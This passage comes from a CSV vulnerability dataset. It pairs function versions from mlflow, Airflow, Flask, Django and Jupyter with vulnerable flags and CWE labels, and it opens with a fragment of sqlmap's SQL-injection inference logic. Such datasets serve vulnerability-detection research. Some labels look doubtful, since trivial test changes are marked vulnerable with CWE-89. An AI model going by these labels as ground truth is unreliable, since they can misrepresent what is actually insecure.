if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
if value and isinstance(value, basestring):
value = value.strip() if value.strip() else value[:1]
else:
errMsg = ""none of the injection types identified can be ""
errMsg += ""leveraged to retrieve queries output""
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
singleTimeWarnMessage(warnMsg)
return extractExpectedValue(value, expected)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/tracking/test_client.py,0,"def test_load_prompt_error(tracking_uri):
client = MlflowClient(tracking_uri=tracking_uri)
with pytest.raises(MlflowException, match=r""Prompt with name=test not found""):
client.load_prompt(""test"", version=1)
# Both file and sqlalchemy return the same error format now
error_msg = r""Prompt with name=test not found""
with pytest.raises(MlflowException, match=error_msg):
client.load_prompt(""test"", version=2)
with pytest.raises(MlflowException, match=error_msg):
client.load_prompt(""test"", version=2, allow_missing=False)
# Load prompt with a model name
client.create_registered_model(""model"")
client.create_model_version(""model"", ""source"")
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1, allow_missing=False)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1, allow_missing=False)",,mlflow/mlflow,c526ec1b1d141918c3377e835fb78c20dce3f1e4,"def test_load_prompt_error(tracking_uri):
client = MlflowClient(tracking_uri=tracking_uri)
with pytest.raises(MlflowException, match=r""Prompt with name=test not found""):
client.load_prompt(""test"", version=1)
if tracking_uri.startswith(""file""):
error_msg = r""Prompt with name=test not found""
else:
error_msg = r""Prompt \(name=test, version=2\) not found""
with pytest.raises(MlflowException, match=error_msg):
client.load_prompt(""test"", version=2)
with pytest.raises(MlflowException, match=error_msg):
client.load_prompt(""test"", version=2, allow_missing=False)
# Load prompt with a model name
client.create_registered_model(""model"")
client.create_model_version(""model"", ""source"")
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1, allow_missing=False)
with pytest.raises(MlflowException, match=r""Name `model` is registered as a model""):
client.load_prompt(""model"", version=1, allow_missing=False)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_backfill.py,1,"def test_reprocess_behavior(reprocess_behavior, num_in_b, exc_reasons, dag_maker, session):
""""""
We have two modes whereby when there's an existing run(s) in the range
of the backfill, we will clear an existing run.
""""""
# introduce runs for a dag different from the test dag
# so that we can verify that queries won't pick up runs from
# other dags with same date
with dag_maker(schedule=""@daily"", dag_id=""noise-dag""):
PythonOperator(task_id=""hi"", python_callable=print)
date = ""2021-01-06""
dr = dag_maker.create_dagrun(
run_id=f""scheduled_{date}"",
logical_date=timezone.parse(date),
session=session,
state=""success"",
)
# should appear more recent than next runs we'll create
dr.start_date = timezone.parse(date) + timedelta(minutes=2)
session.commit()
# now the main part of the test
# we insert some historical runs with various states and see
# what the backfill behavior is depending on requested
# reprocessing behavior
dag_id = ""backfill-test-reprocess-behavior""
with dag_maker(schedule=""@daily"", dag_id=dag_id) as dag:
PythonOperator(task_id=""hi"", python_callable=print)
for date, state in [
(""2021-01-05"", ""success""),
(""2021-01-06"", ""failed""),
(""2021-01-07"", ""running""),
]:
dr = dag_maker.create_dagrun(
run_id=f""scheduled_{date}"",
logical_date=timezone.parse(date),
session=session,
state=state,
)
# should sort just older than the noise dag with same logical date
dr.start_date = timezone.parse(date)
for ti in dr.get_task_instances(session=session):
ti.state = state
session.commit()
b = _create_backfill(
dag_id=dag.dag_id,
from_date=pendulum.parse(""2021-01-03""),
to_date=pendulum.parse(""2021-01-09""),
max_active_runs=2,
reprocess_behavior=reprocess_behavior,
reverse=False,
dag_run_conf=None,
)
session.expunge_all()
query = (
select(DagRun)
.join(BackfillDagRun.dag_run)
.where(BackfillDagRun.backfill_id == b.id)
.order_by(BackfillDagRun.sort_ordinal)
)
# these are all the dag runs that are part of this backfill
dag_runs_in_b = session.scalars(query).all()
assert len(dag_runs_in_b) == num_in_b
# verify they all have the right run type
assert all(x.run_type == DagRunType.BACKFILL_JOB for x in dag_runs_in_b)
# verify they all have the right triggered by type
assert all(x.triggered_by == DagRunTriggeredByType.BACKFILL for x in dag_runs_in_b)
# every run associated with the backfill should have the backfill id
assert all(x.backfill_id == b.id for x in dag_runs_in_b)
reasons = session.execute(
select(BackfillDagRun.logical_date, BackfillDagRun.exception_reason).where(
BackfillDagRun.backfill_id == b.id, BackfillDagRun.exception_reason.is_not(None)
)
).all()
actual = dict({str(d.date()): r for d, r in reasons})
assert actual == exc_reasons
# all the runs created by the backfill should have state queued
assert all(x.state == DagRunState.QUEUED for x in dag_runs_in_b)","CWE-89, CWE-703",apache/airflow,88cef4f5986cd7798c463cd4444bfbf4257b1470,"def test_reprocess_behavior(reprocess_behavior, num_in_b, exc_reasons, dag_maker, session):
""""""
We have two modes whereby when there's an existing run(s) in the range
of the backfill, we will clear an existing run.
""""""
# introduce runs for a dag different from the test dag
# so that we can verify that queries won't pick up runs from
# other dags with same date
with dag_maker(schedule=""@daily"", dag_id=""noise dag""):
PythonOperator(task_id=""hi"", python_callable=print)
date = ""2021-01-06""
dr = dag_maker.create_dagrun(
run_id=f""scheduled_{date}"",
logical_date=timezone.parse(date),
session=session,
state=""success"",
)
# should appear more recent than next runs we'll create
dr.start_date = timezone.parse(date) + timedelta(minutes=2)
session.commit()
# now the main part of the test
# we insert some historical runs with various states and see
# what the backfill behavior is depending on requested
# reprocessing behavior
dag_id = ""backfill-test-reprocess-behavior""
with dag_maker(schedule=""@daily"", dag_id=dag_id) as dag:
PythonOperator(task_id=""hi"", python_callable=print)
for date, state in [
(""2021-01-05"", ""success""),
(""2021-01-06"", ""failed""),
(""2021-01-07"", ""running""),
]:
dr = dag_maker.create_dagrun(
run_id=f""scheduled_{date}"",
logical_date=timezone.parse(date),
session=session,
state=state,
)
# should sort just older than the noise dag with same logical date
dr.start_date = timezone.parse(date)
for ti in dr.get_task_instances(session=session):
ti.state = state
session.commit()
b = _create_backfill(
dag_id=dag.dag_id,
from_date=pendulum.parse(""2021-01-03""),
to_date=pendulum.parse(""2021-01-09""),
max_active_runs=2,
reprocess_behavior=reprocess_behavior,
reverse=False,
dag_run_conf=None,
)
session.expunge_all()
query = (
select(DagRun)
.join(BackfillDagRun.dag_run)
.where(BackfillDagRun.backfill_id == b.id)
.order_by(BackfillDagRun.sort_ordinal)
)
# these are all the dag runs that are part of this backfill
dag_runs_in_b = session.scalars(query).all()
assert len(dag_runs_in_b) == num_in_b
# verify they all have the right run type
assert all(x.run_type == DagRunType.BACKFILL_JOB for x in dag_runs_in_b)
# verify they all have the right triggered by type
assert all(x.triggered_by == DagRunTriggeredByType.BACKFILL for x in dag_runs_in_b)
# every run associated with the backfill should have the backfill id
assert all(x.backfill_id == b.id for x in dag_runs_in_b)
reasons = session.execute(
select(BackfillDagRun.logical_date, BackfillDagRun.exception_reason).where(
BackfillDagRun.backfill_id == b.id, BackfillDagRun.exception_reason.is_not(None)
)
).all()
actual = dict({str(d.date()): r for d, r in reasons})
assert actual == exc_reasons
# all the runs created by the backfill should have state queued
assert all(x.state == DagRunState.QUEUED for x in dag_runs_in_b)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/in_container/install_airflow_and_providers.py,0,"def install_airflow_and_providers(
airflow_constraints_mode: str,
airflow_constraints_location: str,
airflow_constraints_reference: str,
airflow_extras: str,
airflow_skip_constraints: bool,
default_constraints_branch: str,
github_actions: bool,
github_repository: str,
install_selected_providers: str,
package_format: str,
providers_constraints_mode: str,
providers_constraints_location: str,
providers_constraints_reference: str,
providers_skip_constraints: bool,
python_version: str,
use_airflow_version: str,
use_packages_from_dist: bool,
):
console.print(""[bright_blue]Installing Airflow and Providers"")
installation_spec = find_installation_spec(
airflow_constraints_mode=airflow_constraints_mode,
airflow_constraints_location=airflow_constraints_location,
airflow_constraints_reference=airflow_constraints_reference,
airflow_extras=airflow_extras,
airflow_skip_constraints=airflow_skip_constraints,
default_constraints_branch=default_constraints_branch,
github_repository=github_repository,
install_selected_providers=install_selected_providers,
package_format=package_format,
providers_constraints_mode=providers_constraints_mode,
providers_constraints_location=providers_constraints_location,
providers_constraints_reference=providers_constraints_reference,
providers_skip_constraints=providers_skip_constraints,
python_version=python_version,
use_airflow_version=use_airflow_version,
use_packages_from_dist=use_packages_from_dist,
)
if installation_spec.airflow_package:
install_airflow_cmd = [
""pip"",
""install"",
""--root-user-action"",
""ignore"",
installation_spec.airflow_package,
]
console.print(f""\n[bright_blue]Installing airflow package: {installation_spec.airflow_package}"")
if installation_spec.airflow_constraints_location:
console.print(f""[bright_blue]Use constraints: {installation_spec.airflow_constraints_location}"")
install_airflow_cmd.extend([""--constraint"", installation_spec.airflow_constraints_location])
console.print()
run_command(install_airflow_cmd, github_actions=github_actions, check=True)
if installation_spec.provider_packages or not install_airflow_with_constraints:
install_providers_cmd = [""pip"", ""install"", ""--root-user-action"", ""ignore""]
console.print(""\n[bright_blue]Installing provider packages:"")
for provider_package in sorted(installation_spec.provider_packages):
console.print(f"" {provider_package}"")
console.print()
for provider_package in installation_spec.provider_packages:
install_providers_cmd.append(provider_package)
if installation_spec.provider_constraints_location:
console.print(
f""[bright_blue]with constraints: {installation_spec.provider_constraints_location}\n""
)
install_providers_cmd.extend([""--constraint"", installation_spec.provider_constraints_location])
console.print()
run_command(install_providers_cmd, github_actions=github_actions, check=True)
console.print(""[green]Done!"")",CWE-Unknown,apache/airflow,34846699020a472ea5e8934511518b37503fe79c,"def install_airflow_and_providers(
airflow_constraints_mode: str,
airflow_constraints_location: str,
airflow_constraints_reference: str,
airflow_extras: str,
airflow_skip_constraints: bool,
default_constraints_branch: str,
github_actions: bool,
github_repository: str,
install_selected_providers: str,
package_format: str,
providers_constraints_mode: str,
providers_constraints_location: str,
providers_constraints_reference: str,
providers_skip_constraints: bool,
python_version: str,
use_airflow_version: str,
use_packages_from_dist: bool,
):
console.print(""[bright_blue]Installing Airflow and Providers"")
installation_spec = find_installation_spec(
airflow_constraints_mode=airflow_constraints_mode,
airflow_constraints_location=airflow_constraints_location,
airflow_constraints_reference=airflow_constraints_reference,
airflow_extras=airflow_extras,
airflow_skip_constraints=airflow_skip_constraints,
default_constraints_branch=default_constraints_branch,
github_repository=github_repository,
install_selected_providers=install_selected_providers,
package_format=package_format,
providers_constraints_mode=providers_constraints_mode,
providers_constraints_location=providers_constraints_location,
providers_constraints_reference=providers_constraints_reference,
providers_skip_constraints=providers_skip_constraints,
python_version=python_version,
use_airflow_version=use_airflow_version,
use_packages_from_dist=use_packages_from_dist,
)
if installation_spec.airflow_package:
install_airflow_cmd = [
""pip"",
""install"",
""--root-user-action"",
""ignore"",
installation_spec.airflow_package,
]
console.print(f""\n[bright_blue]Installing airflow package: {installation_spec.airflow_package}"")
if installation_spec.airflow_constraints_location:
console.print(f""[bright_blue]Use constraints: {installation_spec.airflow_constraints_location}"")
install_airflow_cmd.extend([""--constraint"", installation_spec.airflow_constraints_location])
console.print()
run_command(install_airflow_cmd, github_actions=github_actions, check=True)
if installation_spec.provider_packages:
install_providers_cmd = [""pip"", ""install"", ""--root-user-action"", ""ignore""]
console.print(""\n[bright_blue]Installing provider packages:"")
for provider_package in sorted(installation_spec.provider_packages):
console.print(f"" {provider_package}"")
console.print()
for provider_package in installation_spec.provider_packages:
install_providers_cmd.append(provider_package)
if installation_spec.provider_constraints_location:
console.print(
f""[bright_blue]with constraints: {installation_spec.provider_constraints_location}\n""
)
install_providers_cmd.extend([""--constraint"", installation_spec.provider_constraints_location])
console.print()
run_command(install_providers_cmd, github_actions=github_actions, check=True)
console.print(""[green]Done!"")"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/cli.py,0,"def prepare_exec_for_file(filename):
""""""Given a filename this will try to calculate the python path, add it
to the search path and return the actual module name that is expected.
""""""
module = []
# Chop off file extensions or package markers
if os.path.split(filename)[1] == '__init__.py':
filename = os.path.dirname(filename)
elif filename.endswith('.py'):
filename = filename[:-3]
else:
raise NoAppException('The file provided (%s) does exist but is not a '
'valid Python file. This means that it cannot '
'be used as application. Please change the '
'extension to .py' % filename)
filename = os.path.realpath(filename)
dirpath = filename
while 1:
dirpath, extra = os.path.split(dirpath)
module.append(extra)
if not os.path.isfile(os.path.join(dirpath, '__init__.py')):
break
sys.path.insert(0, dirpath)
return '.'.join(module[::-1])",,pallets/flask,41e08f4ccd0f41896200cbf5c5f5d6f3df3df713,"def prepare_exec_for_file(filename):
""""""Given a filename this will try to calculate the python path, add it
to the search path and return the actual module name that is expected.
""""""
module = []
# Chop off file extensions or package markers
if filename.endswith('.py'):
filename = filename[:-3]
elif os.path.split(filename)[1] == '__init__.py':
filename = os.path.dirname(filename)
else:
raise NoAppException('The file provided (%s) does exist but is not a '
'valid Python file. This means that it cannot '
'be used as application. Please change the '
'extension to .py' % filename)
filename = os.path.realpath(filename)
dirpath = filename
while 1:
dirpath, extra = os.path.split(dirpath)
module.append(extra)
if not os.path.isfile(os.path.join(dirpath, '__init__.py')):
break
sys.path.insert(0, dirpath)
return '.'.join(module[::-1])"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/management/commands/remove_stale_contenttypes.py,0,"def handle(self, **options):
db = options['database']
interactive = options['interactive']
verbosity = options['verbosity']
for app_config in apps.get_app_configs():
content_types, app_models = get_contenttypes_and_models(app_config, db, ContentType)
to_remove = [
ct for (model_name, ct) in content_types.items()
if model_name not in app_models
]
# Confirm that the content type is stale before deletion.
using = router.db_for_write(ContentType)
if to_remove:
if interactive:
ct_info = []
for ct in to_remove:
ct_info.append(' - Content type for %s.%s' % (ct.app_label, ct.model))
collector = NoFastDeleteCollector(using=using)
collector.collect([ct])
for obj_type, objs in collector.data.items():
if objs == {ct}:
continue
ct_info.append(' - %s %s object(s)' % (
len(objs),
obj_type._meta.label,
))
content_type_display = '\n'.join(ct_info)
self.stdout.write(""""""Some content types in your database are stale and can be deleted.
Any objects that depend on these content types will also be deleted.
The content types and dependent objects that would be deleted are:
%s
This list doesn't include any cascade deletions to data outside of Django's
models (uncommon).
Are you sure you want to delete these content types?
If you're unsure, answer 'no'.\n"""""" % content_type_display)
ok_to_delete = input(""Type 'yes' to continue, or 'no' to cancel: "")
else:
ok_to_delete = False
if ok_to_delete == 'yes':
for ct in to_remove:
if verbosity >= 2:
self.stdout.write(""Deleting stale content type '%s | %s'"" % (ct.app_label, ct.model))
ct.delete()
else:
if verbosity >= 2:
self.stdout.write(""Stale content types remain."")",CWE-Unknown,django/django,874b1f2cac7b79597ce87cc244b7cefc5c5cd821,"def handle(self, **options):
db = options['database']
interactive = options['interactive']
verbosity = options['verbosity']
for app_config in apps.get_app_configs():
content_types, app_models = get_contenttypes_and_models(app_config, db, ContentType)
if not app_models:
continue
to_remove = [
ct for (model_name, ct) in content_types.items()
if model_name not in app_models
]
# Confirm that the content type is stale before deletion.
using = router.db_for_write(ContentType)
if to_remove:
if interactive:
ct_info = []
for ct in to_remove:
ct_info.append(' - Content type for %s.%s' % (ct.app_label, ct.model))
collector = NoFastDeleteCollector(using=using)
collector.collect([ct])
for obj_type, objs in collector.data.items():
if objs == {ct}:
continue
ct_info.append(' - %s %s object(s)' % (
len(objs),
obj_type._meta.label,
))
content_type_display = '\n'.join(ct_info)
self.stdout.write(""""""Some content types in your database are stale and can be deleted.
Any objects that depend on these content types will also be deleted.
The content types and dependent objects that would be deleted are:
%s
This list doesn't include any cascade deletions to data outside of Django's
models (uncommon).
Are you sure you want to delete these content types?
If you're unsure, answer 'no'.\n"""""" % content_type_display)
ok_to_delete = input(""Type 'yes' to continue, or 'no' to cancel: "")
else:
ok_to_delete = False
if ok_to_delete == 'yes':
for ct in to_remove:
if verbosity >= 2:
self.stdout.write(""Deleting stale content type '%s | %s'"" % (ct.app_label, ct.model))
ct.delete()
else:
if verbosity >= 2:
self.stdout.write(""Stale content types remain."")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_settings(self, jupyter_app, kernel_manager, contents_manager,
session_manager, kernel_spec_manager,
config_manager, extra_services,
log, base_url, default_url, settings_overrides,
jinja_env_options=None):
_template_path = settings_overrides.get(
""template_path"",
jupyter_app.template_file_path,
)
if isinstance(_template_path, py3compat.string_types):
_template_path = (_template_path,)
template_path = [os.path.expanduser(path) for path in _template_path]
jenv_opt = {""autoescape"": True}
jenv_opt.update(jinja_env_options if jinja_env_options else {})
env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt)
sys_info = get_sys_info()
# If the user is running the notebook in a git directory, make the assumption
# that this is a dev install and suggest to the developer `npm run build:watch`.
base_dir = os.path.realpath(os.path.join(__file__, '..', '..'))
dev_mode = os.path.exists(os.path.join(base_dir, '.git'))
nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True)
env.install_gettext_translations(nbui, newstyle=False)
if dev_mode:
DEV_NOTE_NPM = """"""It looks like you're running the notebook from source.
If you're working on the Javascript of the notebook, try running
%s
in another terminal window to have the system incrementally
watch and build the notebook's JavaScript for you, as you make changes."""""" % 'npm run build:watch'
log.info(DEV_NOTE_NPM)
if sys_info['commit_source'] == 'repository':
# don't cache (rely on 304) when working from master
version_hash = ''
else:
# reset the cache on server restart
version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")
if jupyter_app.ignore_minified_js:
log.warning(_(""""""The `ignore_minified_js` flag is deprecated and no longer works.""""""))
log.warning(_(""""""Alternatively use `%s` when working on the notebook's Javascript and LESS"""""") % 'npm run build:watch')
warnings.warn(_(""The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0""), DeprecationWarning)
now = utcnow()
root_dir = contents_manager.root_dir
home = os.path.expanduser('~')
if root_dir.startswith(home + os.path.sep):
# collapse $HOME to ~
root_dir = '~' + root_dir[len(home):]
settings = dict(
# basics
log_function=log_request,
base_url=base_url,
default_url=default_url,
template_path=template_path,
static_path=jupyter_app.static_file_path,
static_custom_path=jupyter_app.static_custom_path,
static_handler_class = FileFindHandler,
static_url_prefix = url_path_join(base_url,'/static/'),
static_handler_args = {
# don't cache custom.js
'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
},
version_hash=version_hash,
ignore_minified_js=jupyter_app.ignore_minified_js,
# rate limits
iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit,
iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit,
rate_limit_window=jupyter_app.rate_limit_window,
# authentication
cookie_secret=jupyter_app.cookie_secret,
login_url=url_path_join(base_url,'/login'),
login_handler_class=jupyter_app.login_handler_class,
logout_handler_class=jupyter_app.logout_handler_class,
password=jupyter_app.password,
xsrf_cookies=True,
disable_check_xsrf=jupyter_app.disable_check_xsrf,
allow_remote_access=jupyter_app.allow_remote_access,
local_hostnames=jupyter_app.local_hostnames,
# managers
kernel_manager=kernel_manager,
contents_manager=contents_manager,
session_manager=session_manager,
kernel_spec_manager=kernel_spec_manager,
config_manager=config_manager,
# handlers
extra_services=extra_services,
# Jupyter stuff
started=now,
# place for extensions to register activity
# so that they can prevent idle-shutdown
last_activity_times={},
jinja_template_vars=jupyter_app.jinja_template_vars,
nbextensions_path=jupyter_app.nbextensions_path,
websocket_url=jupyter_app.websocket_url,
mathjax_url=jupyter_app.mathjax_url,
mathjax_config=jupyter_app.mathjax_config,
shutdown_button=jupyter_app.quit_button,
config=jupyter_app.config,
config_dir=jupyter_app.config_dir,
allow_password_change=jupyter_app.allow_password_change,
server_root_dir=root_dir,
jinja2_env=env,
terminals_available=False, # Set later if terminals are available
)
# allow custom overrides for the tornado web app.
settings.update(settings_overrides)
return settings",,jupyter/notebook,f81ec30b62fd1cec122d48c6a367b8ea6ae59809,"def init_settings(self, jupyter_app, kernel_manager, contents_manager,
session_manager, kernel_spec_manager,
config_manager, extra_services,
log, base_url, default_url, settings_overrides,
jinja_env_options=None):
_template_path = settings_overrides.get(
""template_path"",
jupyter_app.template_file_path,
)
if isinstance(_template_path, py3compat.string_types):
_template_path = (_template_path,)
template_path = [os.path.expanduser(path) for path in _template_path]
jenv_opt = {""autoescape"": True}
jenv_opt.update(jinja_env_options if jinja_env_options else {})
env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt)
sys_info = get_sys_info()
# If the user is running the notebook in a git directory, make the assumption
# that this is a dev install and suggest to the developer `npm run build:watch`.
base_dir = os.path.realpath(os.path.join(__file__, '..', '..'))
dev_mode = os.path.exists(os.path.join(base_dir, '.git'))
nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True)
env.install_gettext_translations(nbui, newstyle=False)
if dev_mode:
DEV_NOTE_NPM = """"""It looks like you're running the notebook from source.
If you're working on the Javascript of the notebook, try running
%s
in another terminal window to have the system incrementally
watch and build the notebook's JavaScript for you, as you make changes."""""" % 'npm run build:watch'
log.info(DEV_NOTE_NPM)
if sys_info['commit_source'] == 'repository':
# don't cache (rely on 304) when working from master
version_hash = ''
else:
# reset the cache on server restart
version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")
if jupyter_app.ignore_minified_js:
log.warning(_(""""""The `ignore_minified_js` flag is deprecated and no longer works.""""""))
log.warning(_(""""""Alternatively use `%s` when working on the notebook's Javascript and LESS"""""") % 'npm run build:watch')
warnings.warn(_(""The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0""), DeprecationWarning)
now = utcnow()
root_dir = contents_manager.root_dir
home = os.path.expanduser('~')
if root_dir.startswith(home + os.path.sep):
# collapse $HOME to ~
root_dir = '~' + root_dir[len(home):]
settings = dict(
# basics
log_function=log_request,
base_url=base_url,
default_url=default_url,
template_path=template_path,
static_path=jupyter_app.static_file_path,
static_custom_path=jupyter_app.static_custom_path,
static_handler_class = FileFindHandler,
static_url_prefix = url_path_join(base_url,'/static/'),
static_handler_args = {
# don't cache custom.js
'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
},
version_hash=version_hash,
ignore_minified_js=jupyter_app.ignore_minified_js,
# rate limits
iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit,
iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit,
rate_limit_window=jupyter_app.rate_limit_window,
# maximum request sizes - support saving larger notebooks
# tornado defaults are 100 MiB, we increase it to 0.5 GiB
max_body_size = 512 * 1024 * 1024,
max_buffer_size = 512 * 1024 * 1024,
# authentication
cookie_secret=jupyter_app.cookie_secret,
login_url=url_path_join(base_url,'/login'),
login_handler_class=jupyter_app.login_handler_class,
logout_handler_class=jupyter_app.logout_handler_class,
password=jupyter_app.password,
xsrf_cookies=True,
disable_check_xsrf=jupyter_app.disable_check_xsrf,
allow_remote_access=jupyter_app.allow_remote_access,
local_hostnames=jupyter_app.local_hostnames,
# managers
kernel_manager=kernel_manager,
contents_manager=contents_manager,
session_manager=session_manager,
kernel_spec_manager=kernel_spec_manager,
config_manager=config_manager,
# handlers
extra_services=extra_services,
# Jupyter stuff
started=now,
# place for extensions to register activity
# so that they can prevent idle-shutdown
last_activity_times={},
jinja_template_vars=jupyter_app.jinja_template_vars,
nbextensions_path=jupyter_app.nbextensions_path,
websocket_url=jupyter_app.websocket_url,
mathjax_url=jupyter_app.mathjax_url,
mathjax_config=jupyter_app.mathjax_config,
shutdown_button=jupyter_app.quit_button,
config=jupyter_app.config,
config_dir=jupyter_app.config_dir,
allow_password_change=jupyter_app.allow_password_change,
server_root_dir=root_dir,
jinja2_env=env,
terminals_available=False, # Set later if terminals are available
)
# allow custom overrides for the tornado web app.
settings.update(settings_overrides)
return settings"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
""""""
Generates the list column headers.
""""""
ordering_field_columns = cl.get_ordering_field_columns()
for i, field_name in enumerate(cl.list_display):
text, attr = label_for_field(
field_name, cl.model,
model_admin=cl.model_admin,
return_attr=True
)
if attr:
# Potentially not sortable
# if the field is the action checkbox: no sorting and special class
if field_name == 'action_checkbox':
yield {
""text"": text,
""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
""sortable"": False,
}
continue
admin_order_field = getattr(attr, ""admin_order_field"", None)
if not admin_order_field:
# Not sortable
yield {
""text"": text,
""class_attrib"": format_html(' class=""column-{}""', field_name),
""sortable"": False,
}
continue
# OK, it is sortable if we got this far
th_classes = ['sortable', 'column-{}'.format(field_name)]
order_type = ''
new_order_type = 'asc'
sort_priority = 0
sorted = False
# Is it currently being sorted on?
if i in ordering_field_columns:
sorted = True
order_type = ordering_field_columns.get(i).lower()
sort_priority = list(ordering_field_columns).index(i) + 1
th_classes.append('sorted %sending' % order_type)
new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]
# build new ordering param
o_list_primary = [] # URL for making this field the primary sort
o_list_remove = [] # URL for removing this field from sort
o_list_toggle = [] # URL for toggling order type for this field
def make_qs_param(t, n):
return ('-' if t == 'desc' else '') + str(n)
for j, ot in ordering_field_columns.items():
if j == i: # Same column
param = make_qs_param(new_order_type, j)
# We want clicking on this header to bring the ordering to the
# front
o_list_primary.insert(0, param)
o_list_toggle.append(param)
# o_list_remove - omit
else:
param = make_qs_param(ot, j)
o_list_primary.append(param)
o_list_toggle.append(param)
o_list_remove.append(param)
if i not in ordering_field_columns:
o_list_primary.insert(0, make_qs_param(new_order_type, i))
yield {
""text"": text,
""sortable"": True,
""sorted"": sorted,
""ascending"": order_type == ""asc"",
""sort_priority"": sort_priority,
""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
}",CWE-79,django/django,60586dd7379b295b72d8af4e03423c286913b5e8,"def result_headers(cl):
""""""
Generates the list column headers.
""""""
ordering_field_columns = cl.get_ordering_field_columns()
for i, field_name in enumerate(cl.list_display):
text, attr = label_for_field(
field_name, cl.model,
model_admin=cl.model_admin,
return_attr=True
)
if attr:
# Potentially not sortable
# if the field is the action checkbox: no sorting and special class
if field_name == 'action_checkbox':
yield {
""text"": text,
""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
""sortable"": False,
}
continue
admin_order_field = getattr(attr, ""admin_order_field"", None)
if not admin_order_field:
# Not sortable
yield {
""text"": text,
""class_attrib"": format_html(' class=""column-{}""', field_name),
""sortable"": False,
}
continue
# OK, it is sortable if we got this far
th_classes = ['sortable', 'column-{}'.format(field_name)]
order_type = ''
new_order_type = 'asc'
sort_priority = 0
sorted = False
# Is it currently being sorted on?
if i in ordering_field_columns:
sorted = True
order_type = ordering_field_columns.get(i).lower()
sort_priority = list(ordering_field_columns).index(i) + 1
th_classes.append('sorted %sending' % order_type)
new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]
# build new ordering param
o_list_primary = [] # URL for making this field the primary sort
o_list_remove = [] # URL for removing this field from sort
o_list_toggle = [] # URL for toggling order type for this field
make_qs_param = lambda t, n: ('-' if t == 'desc' else '') + str(n)
for j, ot in ordering_field_columns.items():
if j == i: # Same column
param = make_qs_param(new_order_type, j)
# We want clicking on this header to bring the ordering to the
# front
o_list_primary.insert(0, param)
o_list_toggle.append(param)
# o_list_remove - omit
else:
param = make_qs_param(ot, j)
o_list_primary.append(param)
o_list_toggle.append(param)
o_list_remove.append(param)
if i not in ordering_field_columns:
o_list_primary.insert(0, make_qs_param(new_order_type, i))
yield {
""text"": text,
""sortable"": True,
""sorted"": sorted,
""ascending"": order_type == ""asc"",
""sort_priority"": sort_priority,
""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
}"
,UNKNOWN,UNKNOWN,tests/models/test_trigger.py,1,"def test_clean_unused(session, create_task_instance):
""""""
Tests that unused triggers (those with no task instances referencing them)
are cleaned out automatically.
""""""
